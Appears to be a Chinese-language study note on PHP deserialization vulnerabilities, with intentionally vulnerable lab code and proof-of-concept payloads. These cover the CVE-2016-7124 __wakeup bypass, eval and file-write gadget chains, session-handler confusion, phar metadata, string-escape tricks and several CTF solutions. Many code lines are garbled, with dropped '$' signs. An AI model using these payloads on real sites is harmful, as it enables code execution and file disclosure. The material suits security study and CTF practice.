# 序列化
# 1. 定义:
利用 serialize()
将一个对象转换为字符串
1.1 先看一下直接输出对象
<?php | |
class test{ | |
public $name="ghtwf01"; | |
public $age="18"; | |
} | |
$a=new test(); | |
print_r($a); | |
?> |
效果:
1.2 利用 serialize()
函数将这个对象进行序列化成字符串然后输出,代码:
<?php | |
class test{ | |
public $name="ghtwf01"; | |
public $age="18"; | |
} | |
$a=new test(); | |
a=serialize(a); | |
print_r($a); | |
?> |
# 2. 分析
2.1 如果不是 public 属性:
<?php | |
class test{ | |
public $name="ghtwf01"; | |
private $age="18"; | |
protected $sex="man"; | |
} | |
$a=new test(); | |
a=serialize(a); | |
print_r($a); | |
?> |
private 分析:
- 发现原本
age
属性变成了testage
- testage 的长度并不是 9,但长度显示为 9
解释:
private属性
序列化的格式是 %00类名%00成员名
protect 分析:
sex
变成了*sex
- 长度却是 6
解释:
protect属性
序列化的时候的格式是 %00*%00属性名
# 反序列化
# 1. 定义:
利用 unserialize()
函数将一个经过序列化的字符串转换成一个 php 代码
<?php | |
$b='O:4:"test":2:{s:4:"name";s:7:"ghtwf01";s:3:"age";s:2:"18";}'; | |
b=unserialize(b); | |
print_r($b) | |
?> |
# 反序列化漏洞利用原理
# 1. php 的魔术函数:
详解链接:https://segmentfault.com/a/1190000007250604
__construct()当一个对象创建时被调用 | |
__destruct()当一个对象销毁时被调用 | |
__toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用 | |
__sleep() 在对象在被序列化之前运行 | |
__wakeup()将在反序列化之后立即被调用 | |
__invoke() 调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。 | |
__call() 方法用于监视错误的方法调用。该方法在调用的方法不存在时会自动调用 |
利用代码演示效果:
<?php | |
class test{ | |
public $a='hacked by ghtwf01'; | |
public $b='hacked by blckder02'; | |
public function pt(){ | |
echo $this->a.'<br />'; | |
} | |
public function __construct(){ | |
echo '__construct<br />'; | |
} | |
public function __destruct(){ | |
echo '__construct<br />'; | |
} | |
public function __sleep(){ | |
echo '__sleep<br />'; | |
return array('a','b'); | |
} | |
public function __wakeup(){ | |
echo '__wakeup<br />'; | |
} | |
} | |
// 创建对象调用__construct | |
$object = new test(); | |
// 序列化对象调用__sleep | |
serialize=serialize(object); | |
// 输出序列化后的字符串 | |
echo 'serialize: '.$serialize.'<br />'; | |
// 反序列化对象调用__wakeup | |
unserialize=unserialize(serialize); | |
// 调用 pt 输出数据 | |
$unserialize->pt(); | |
// 脚本结束调用__destruct | |
?> |
最后两个__construct 是在脚本结束后输出:
- 实例化的时候 new 了一个对象
- 反序列化的时候创建对象
# 2. 存在反序列化漏洞的代码
<?php | |
class A{ | |
public $test = "demo"; | |
function __destruct(){ | |
echo $this->test; | |
} | |
} | |
a=_GET['value']; | |
aunser=unserialize(a); | |
?> |
这样,我们可以将我们的代码,先进行序列化,再传入,上面的类中有 echo 函数,我们可以利用他来输出 hacked by
注意:
- 我们所进行序列化的代码必须和存在漏洞代码中的类的代码一样
POC:
<?php | |
class A{ | |
public $test="hacked by ghtwf01"; | |
} | |
$b= new A(); | |
result=serialize(b); | |
print_r($result); | |
?> | |
O:1:"A":1:{s:4:"test";s:17:"hacked by ghtwf01";} |
传送参数
http:/untitled2/php.php?value=O:1:%22A%22:1:{s:4:%22test%22;s:17:%22hacked+by+ghtwf01%22;} |
接下来,把那个执行代码,转换成危险代码,不如说 xss
http://localhost:63342/untitled2/php.php?value=O:1:%22A%22:1:{s:4:%22test%22;s:29:%22<script>alert('xss')</script>%22;}
注意:
- 修改代码后,记得修改长度参数
# 例一
- 本地环境搭建
phpstudy
文件 php.php:
<?php | |
error_reporting(0); | |
include "flag.php"; | |
$KEY = "D0g3!!!"; | |
str=_GET['str']; | |
if (unserialize(str) === "KEY") | |
{ | |
echo "$flag"; | |
} | |
show_source(__FILE__); |
flag.php 由自己创建再题目代码的同一目录下
文件 flag.php:
<?php | |
$flag='flag{You_Are_Great!!!}'; | |
?> |
payload:
<?php | |
$a="D0g3!!!"; | |
b=serialize(a); | |
print_r($b); | |
?> |
# 例二
- 题目代码
<?php | |
class foo{ | |
public $file = "2.txt"; | |
public $data = "test"; | |
function __destruct(){ | |
file_put_contents(dirname(__FILE__).'/'.this->file,this->data); | |
} | |
} | |
file_name = _GET['filename']; | |
print "You have readfile ".$file_name; | |
unserialize(file_get_contents($file_name)); | |
?> |
这段代码中,又一个类 foo,在他的对象被销毁的时候,会将 $data
部分的内容,写进 $file
命名的文件内,并且路径是当前目录.
- POC:
<?php | |
class foo{ | |
public $file="1.php"; | |
public $data="<?php phpinfo();?>"; | |
} | |
$a=new foo(); | |
b=serialize(a) | |
?> |
2.1 得到序列化字符串:
O:3:"foo":2:{s:4:"file";s:5:"1.php";s:4:"data";s:18:"<?php phpinfo();?>";} |
-
之后,将其放进本地的一个文件中:
-
从首页中传入 filename 参数
http://localhost/php.php?filename=test.txt |
# 3. CVE-2016-7124 __wakeup 绕过
# 3.1. __wakeup 函数简介:
unserialize()
会检查是否存在一个 __wakeup()
方法,如果存在,就会首先调用这个方法,预先准备对象需要的资源
反序列化的时候如果对象属性个数的值大于真实的属性个数的时候会跳过 __wakeup
执行
# 3.2. 漏洞影响版本:
-
- php5 < 5.6.25
- php7 < 7.0.10
# 3.3. 漏洞复现:
代码如下:
<?php | |
class A{ | |
public $target = "test"; | |
function __wakeup(){ | |
$this->target = "wakeup!"; | |
} | |
function __destruct(){ | |
$fp = fopen("hello.php","w"); | |
fputs(fp,this->target); | |
fclose($fp); | |
} | |
} | |
a = _GET['test']; | |
b = unserialize(a); | |
echo "hello.php"."<br/>"; | |
include("./hello.php"); ?> |
魔法函数要比__destruct () 函数首先执行,所以我们直接传入
O:1:"A":1:{s:6:"target";s:19:"<?php phpinfo(); ?>";} |
首先会被执行的是 __wakeup()
函数,这时候 target
函数值会被覆盖为 wakeup!
, 然后生成 hello.php
里面的内容是 __wakeup
考虑绕过:
-
- 属性个数的值大于真实属性个数时就会跳过
__wakeup
执行
- 属性个数的值大于真实属性个数时就会跳过
构造 POC:
O:1:"A":2:{s:6:"target";s:19:"<?php phpinfo(); ?>";} |
# 4. 注入对象构造方法
当目标对象被 private 和 protected 修饰时反序列化漏洞的利用
上面说了 private
和 protected
返回长度和 public
不一样的原因
private属性序列化的时候格式是%00类名%00成员名protect属性序列化的时候格式是%00*%00成员名 |
protected 情况下:
<?php | |
class A{ | |
protected $test = "hahaha"; | |
function __destruct(){ | |
echo $this->test; | |
} | |
} | |
a = _GET['test']; | |
b = unserialize(a); | |
?> |
构造方式:
<?php | |
class A{ | |
protected $test = "hahaha"; | |
} | |
$a = new A(); | |
b = serialize(a); | |
print_r($b) | |
?> |
得到字符串:
O:1:"A":1:{s:7:"*test";s:6:"hahaha";} |
- 注意:
此时的 %00 并没有显示出来,因此我们需要在传参的 url 中加上 %00
private 情况下:
POC:
<?php | |
class A{ | |
private $test = "hahaha"; | |
} | |
$a = new A(); | |
b = serialize(a); | |
print_r($b) | |
?> |
得到字符串:
O:1:"A":1:{s:7:"Atest";s:6:"hahaha";} |
同理,我们仍然需要补足 %00
# 5. 同名方法的利用
# 漏洞代码:
<?php | |
class A{ | |
public $target; | |
function __construct(){ | |
$this->target = new B; | |
} | |
function __destruct(){ | |
$this->target->action(); | |
} | |
} | |
class B{ | |
function action(){ | |
echo "action B"; | |
} | |
} | |
class C{ | |
public $test; | |
function action(){ | |
echo "action A"; | |
eval($this->test); | |
} | |
} | |
unserialize($_GET['test']); | |
?> |
- 很显然在代码中,我们希望执行的是 C 中的
action
函数,而不是 b 中的action
函数.
POC:
<?php | |
class A{ | |
public $target; | |
function __construct(){ | |
$this->target = new C; | |
$this->target->test = "phpinfo();"; | |
} | |
function __destruct(){ | |
$this->target->action(); | |
} | |
} | |
class C{ | |
public $test; | |
function action(){ | |
echo "action C"; | |
eval($this->test); | |
} | |
} | |
$a = new A(); | |
echo serialize($a); | |
?> |
得到字符串:
O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}} |
# 6. session 反序列化漏洞
# 6.1. 什么是 session
英文翻译为 "会话", 两个人从开始到结束就构成了一个回话。php 里的 session 主要指客户端浏览器与服务器端数据交换的回话,从浏览器打开到关闭的,一个最简单的回话周期
# 6.2. PHP session 工作流程
当开始一个回话的时候,php 会尝试在请求中查找会话 ID,如果发现请求的 Cookie
、 Get
、 Post
中不存在 session id
, PHP
就会自动调用 php_session_create_id
函数创建一个新的会话,并且在 http response
中通过 set-cookie
头部发送给客户端保存,例如登录如下网页 Cokkie、Get、Post
都不存在 session id
,于是就使用了 set-cookie
头。有时候浏览器用户设置会禁止 cookie
,当在客户端 cookie
被禁用的情况下, php
也可以自动将 session id
添加到 url
参数中以及 form
的 hidden
字段中,但这需要将 php.ini
中的 session.use_trans_sid
设为开启,也可以在运行时调用 ini_set
来设置这个配置项
- 会话开始之后,
PHP
就会将会话中的数据设置到$_SESSION
变量中,如下述代码就是一个在$_SESSION
变量中注册变量的例子:
<?php | |
session_start(); | |
if (!isset($_SESSION['username'])) { | |
$_SESSION['username'] = 'ghtwf01' | |
;} | |
?> |
创建一个 session
内容是 username:ghtwf01
# 6.3. Php.ini 配置
session.save_path="" --设置session的存储位置 | |
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数 | |
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动 | |
session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php | |
session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用 | |
session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用 |
如 phpstudy
下上述配置如下:
session.save_path = "/tmp" --所有session文件存储在/tmp目录下session.save_handler = files --表明session是以文件的方式来进行存储的session.auto_start = 0 --表明默认不启动sessionsession.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎session.upload_progress.enabled on --表明允许上传进度跟踪,并填充 _SESSION变量session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息( _SESSION变量) |
有关 phpsession 和 php 处理器的详解:
https://xz.aliyun.com/t/6753
# 6.4. PHP session 的存储机制
PHP session
的存储机制是由 session.serialize_handler
来定义引擎的,默认是以文件的方式存储,且存储的文件是由 sess_sessionid
来决定文件名的,当然这个文件名也不是不变的,都是 sess_sessionid
形式
session.serialize_handler
,它定义的引擎有三种
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize () 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize () 函数序列化处理的值 |
php_serialize(php>5.5.4) | 经过 serialize () 函数序列化处理的数组 |
-
# php 处理器
<?php | |
error_reporting(0); | |
ini_set('session.serialize_handler','php');// 设置处理器 session_start (); | |
_SESSION['session'] = _GET['session']; | |
?> |
到 session 的存储目录下看一下 session
session
为 $_SESSION['session']
的键名, |
后为传入 GET
参数经过序列化后的值
# 6.5. session 的反序列化漏洞利用
php
处理器和 php_serialize
处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。形成的原理:
- 在用
session.serialize_handler = php_serialize
存储的字符可以引入|
- 再用
session.serialize_handler = php
格式取出$_SESSION
的值时, | 会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
- 再用
漏洞代码:
session.php:
<?php | |
error_reporting(0); | |
ini_set('session.serialize_handler','php_serialize'); | |
session_start(); | |
_SESSION['session'] = _GET['session']; | |
?> |
test2.php
<?php | |
error_reporting(0); | |
ini_set('session.serialize_handler','php'); | |
session_start(); | |
class D0g3{ | |
public $name = 'panda'; | |
function __wakeup(){ | |
echo "Who are you?"; | |
} | |
function __destruct(){ | |
echo '<br>'.$this->name; | |
} | |
} | |
$str = new D0g3(); ?> |
session.php
文件的处理器是 php_serialize
, test2.php
文件的处理器是 php
, session.php
文件的作用是传入可控的 session
值, test2.php
文件的作用是在反序列化开始前输出 Who are you?
,反序列化结束的时候输出 name
值
运行一下 hello.php
看一下效果
POC:
<?php | |
class D0g3{ | |
public $name = 'ghtwf01'; | |
function __wakeup(){ | |
echo "Who are you?"; | |
} | |
function __destruct(){ | |
echo '<br>'.$this->name; | |
} | |
} | |
$str = new D0g3(); | |
echo serialize($str); ?> |
显示结果:
O:4:"D0g3":1:{s:4:"name";s:7:"ghtwf01";}ghtwf01 |
因为 session
是 php_serialize
处理器,所以允许 |
存在字符串中,所以将这段代码序列化内容前面加上 |
传入 session.php
中
现在来看一下存入 session
文件的内容
再打开 test2.php
# 7. Phar 拓展反序列化攻击面
# 1. phar 文件简介
一个 php
应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在 window
操作系统上面的安装程序、一个 jquery
库等等,为了做到这点 php
采用了 phar
文档文件格式,这个概念源自 java
的 jar
,但是在设计时主要针对 PHP 的 Web 环境,与 JAR
归档不同的是 Phar
归档可由 PHP
本身处理,因此不需要使用额外的工具来创建或使用,使用 php
脚本就能创建或提取它。 phar
是一个合成词,由 PHP
和 Archive
构成,可以看出它是 php
归档文件的意思 (简单来说 phar
就是 php
压缩文档,不经过解压就能被 php
访问并执行)
# 2. phar 的组成结构:
stub: phar文件的标识,格式为xxx<?php xxx;__HALT_COMPILER();?>mainfest: 也就是meta-data,压缩文件的属性等信息,以序列化储存contents: 压缩文件的内容signature: 签名,放在文件的末尾 |
# 3. 前提条件:
php.ini中设置为phar.readonly=Off | |
php version>=5.3.0 |
# phar 反序列化漏洞
- 漏洞成因:
phar
存储的 meta-data 信息以序列化方式存储,当文件操作函数通过 phar://
伪协议解析 phar 文件时就会将反序列化
- demo 测试
根据文件结构自己构建一个 phar 的文件,php 内置了 phar 类处理相关操作
<?php | |
class TestObject { | |
} | |
@unlink("phar.phar"); | |
$phar = new Phar("phar.phar"); // 后缀名必须为 phar | |
$phar->startBuffering(); | |
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub | |
$o = new TestObject(); | |
phar->setMetadata(o); // 将自定义的 meta-data 存入 manifest | |
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件 // 签名自动计算 | |
$phar->stopBuffering(); | |
?> |
-
-
-
- 原文链接
-
-
# 反序列化字符串逃逸:
字符串增加修改原有序列化字符串:
# EasyUnser:
<?php | |
include_once'flag.php'; | |
highlight_file(__FILE__); | |
function filter($str) | |
{ | |
return str_replace('secure','secured',$str); | |
} | |
class Hacker{ | |
public $username = 'margin'; | |
public $password = 'margin123'; | |
} | |
$h = new Hacker(); | |
if (isset(_POST['username'])&&isset(_POST['password'])){ | |
//Security filter | |
h->username=_POST['username']; | |
c = unserialize(filter(serialize(h))); | |
if($c->password === 'hacker'){ | |
echo $flag; | |
} | |
} |
- 想办法逃逸掉原来的
password
- 根据过滤函数,过滤后增加一位
逃逸方式:
- 先得到
$h
的序列化字符串
<?php | |
class Hacker{ | |
public $username = 'margin'; | |
public $password = 'hacker'; | |
} | |
$h = new Hacker(); | |
y = serialize(h); | |
echo $y; | |
?> |
得到想要的 (符合题目的) 序列化字符串
O:6:"Hacker":2:{s:8:"username";s:6:"margin";s:8:"password";s:6:"hacker";} | |
// 真正的序列化字符串 (由于密码不能控制) | |
O:6:"Hacker":2:{s:8:"username";s:6:"margin";s:8:"password";s:9:"margin123";}、 | |
// 需要补足的字符串 | |
";s:8:"password";s:6:"hacker";} |
根据 filter
函数,会增加 secure
的位数
猜想,利用 secure 补足 username
的位数,后面加上 password
密码字符串,进而修改 password
payload: | |
<?php class Hacker{ public username ='securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}'; public password = 'margin123'; } h = new Hacker(); y = serialize(h); echo y; ?> //username传送参数 securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";} ";s:8:"password";s:6:"hacker";}这里是31位,想要他作为password字符串,就要补足username的位数,利用filter函数,需要31个secure |
- 传参数
# Justserialize
根据题目,很显然知道 obj 的变化顺序
数组--->对象--->序列化字符串--->对象--->数组
根据题意,对象有 flag
成员,并且值应该是 flag
<?php | |
$obj=(object)array("flag"=>"flag"); | |
obj->min=&obj->flag; // 绕过 $k!=="flag"; | |
b = serialize(obj); | |
echo $b; | |
?> |
-
- 得到序列化字符串
O:8:"stdClass":2:{s:4:"flag";s:4:"flag";s:3:"min";R:2;} |
由于正则过滤了 flag
hex 编码绕过,同时将 s 转变为 S (以 hex 进行识别)
O:8:"stdClass":2:{S:4:"\66\6c\61\67";S:4:"\66\6c\61\67";s:3:"min";R:2;} |
# 键值对逃逸:
变量名 (键逃逸):
上例题:
<?php | |
//flag in fl0gd.php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
yutu = _GET['y']; | |
function rongyao($a){ | |
return preg_replace('/php|phtml|flag|/i','',$a); | |
} | |
if($_COOKIE){ | |
unset($_COOKIE); | |
} | |
$_ABC["xiaqing"] = 'xiaqing'; | |
_ABC["qjj"]=yutu; | |
extract($_POST); | |
if(!$_GET['photo']){ | |
$_ABC['photo'] = base64_encode('photo.png'); | |
}else{ | |
_ABC['photo'] = md5(base64_encode(_GET['photo'])); | |
} | |
serialize = rongyao(serialize(_ABC)); | |
if($yutu=='qiaojingjing'){ | |
echo 'you are my rongyao~~'; | |
}else if($yutu=='show_photo'){ | |
phpinfo = unserialize(serialize); | |
echo file_get_contents(base64_decode($phpinfo['photo'])); | |
} |
直接上 payload:
_ABC[flagphp]=;s:1:"1";s:5:"photo";s:16:"Li9mbDBnZC5waHA=";} | |
* 注意要添加;s:1:"1";,作为flagphp被过滤后对应键名值,令photo作为键名后面的作为值 |
做题过程,原理:
extract($_POST); // 将 post 参数解析成变量 |
反序列化点
serialize = rongyao(serialize(_ABC)); // 存在一条反序列化语句 | |
echo file_get_contents(base64_decode($phpinfo['photo'])); |
序列化之后调用的函数:
- 这里将 php,phtml,flag 替换成空
- 我们需要将
$phpinfo['photo']
替换成fl0g.php
的base64
编码但是代码中的 photo 已经被确定 - 刚好经过序列化的字符串被 rongyao 函数进行了过滤,字符串的结构可能遭到破坏,那么就有可能会造成漏洞
fl0gd.php
的 base64
编码
ZmwwZ2QucGhw
正常的序列化字符串:
<?php | |
$yutu='abcdef'; | |
$_ABC["xiaqing"] = 'xiaqing'; | |
_ABC["qjj"]=yutu; | |
if(!$_GET['photo']){ | |
$_ABC['photo'] = base64_encode('photo.png'); | |
}else{ | |
_ABC['photo'] = md5(base64_encode(_GET['photo'])); | |
} | |
echo serialize($_ABC); | |
?> |
a:3:{s:7:"xiaqing";s:7:"xiaqing";s:3:"qjj";s:6:"abcdef";s:5:"photo";s:12:"cGhvdG8ucG5n";} |
利用过滤函数尝试字符串逃逸:
s:5:"photo";s:12:"cGhvdG8ucG5n";} | |
改成: | |
s:5:"photo";s:12:"ZmwwZ2QucGhw";} |
如果序列化字符串中存在 phtml,或者 php
<?php | |
$yutu='abcdef'; | |
$_ABC["xiaqing"] = 'xiaqing'; | |
_ABC["qjj"]=yutu; | |
$_ABC['php'] = 's:5:"photo";s:12:"ZmwwZ2QucGhw";}'; | |
if(!$_GET['photo']){ | |
$_ABC['photo'] = base64_encode('photo.png'); | |
}else{ | |
_ABC['photo'] = md5(base64_encode(_GET['photo'])); | |
} | |
echo serialize($_ABC); | |
?> |
a:4:{s:7:"xiaqing";s:7:"xiaqing";s:3:"qjj";s:6:"abcdef";s:3:"php";s:33:"s:5:"photo";s:12:"ZmwwZ2QucGhw";}";s:5:"photo";s:12:"cGhvdG8ucG5n";} |
尝试利用函数:
<?php | |
$yutu='abcdef'; | |
$_ABC["xiaqing"] = 'xiaqing'; | |
_ABC["qjj"]=yutu; | |
$_ABC['phpflag'] = 's:5:"photo";s:12:"ZmwwZ2QucGhw";}'; | |
if(!$_GET['photo']){ | |
$_ABC['photo'] = base64_encode('photo.png'); | |
}else{ | |
_ABC['photo'] = md5(base64_encode(_GET['photo'])); | |
} | |
function rongyao($a){ | |
return preg_replace('/php|phtml|flag|/i','',$a); | |
} | |
echo rongyao(serialize($_ABC)); | |
?> |
此时的 photo
是变量的值所以我们需要继续添加序列化字符串使得 photo
变成变量名
$_ABC['phpflag'] = ';s:3:"qjj";s:5:"photo";s:12:"ZmwwZ2QucGhw";}'; |
因此 POST 传参数:
_ABC['phpflag'] = ';s:3:"qjj";s:5:"photo";s:12:"ZmwwZ2QucGhw";}' |
之后右键查看源代码
POP 链构造:
- 找到反序列化的点,通过代码给出的类找到危险函数